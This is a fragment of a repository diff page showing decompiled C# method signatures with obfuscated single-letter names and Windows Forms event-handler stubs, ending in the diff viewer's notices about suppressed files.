public V();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void U();
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void U(object _param1, EventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void W(object _param1, EventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void X(object _param1, EventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void Y(object _param1, EventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void Z(object _param1, EventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void a(object _param1, EventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void b(object _param1, EventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void c(object _param1, EventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void d(object _param1, EventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void U(object _param1, MouseEventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void W(object _param1, MouseEventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void e(object _param1, EventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void f(object _param1, EventArgs _param2);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
protected override void Dispose(bool disposing);
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void W();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user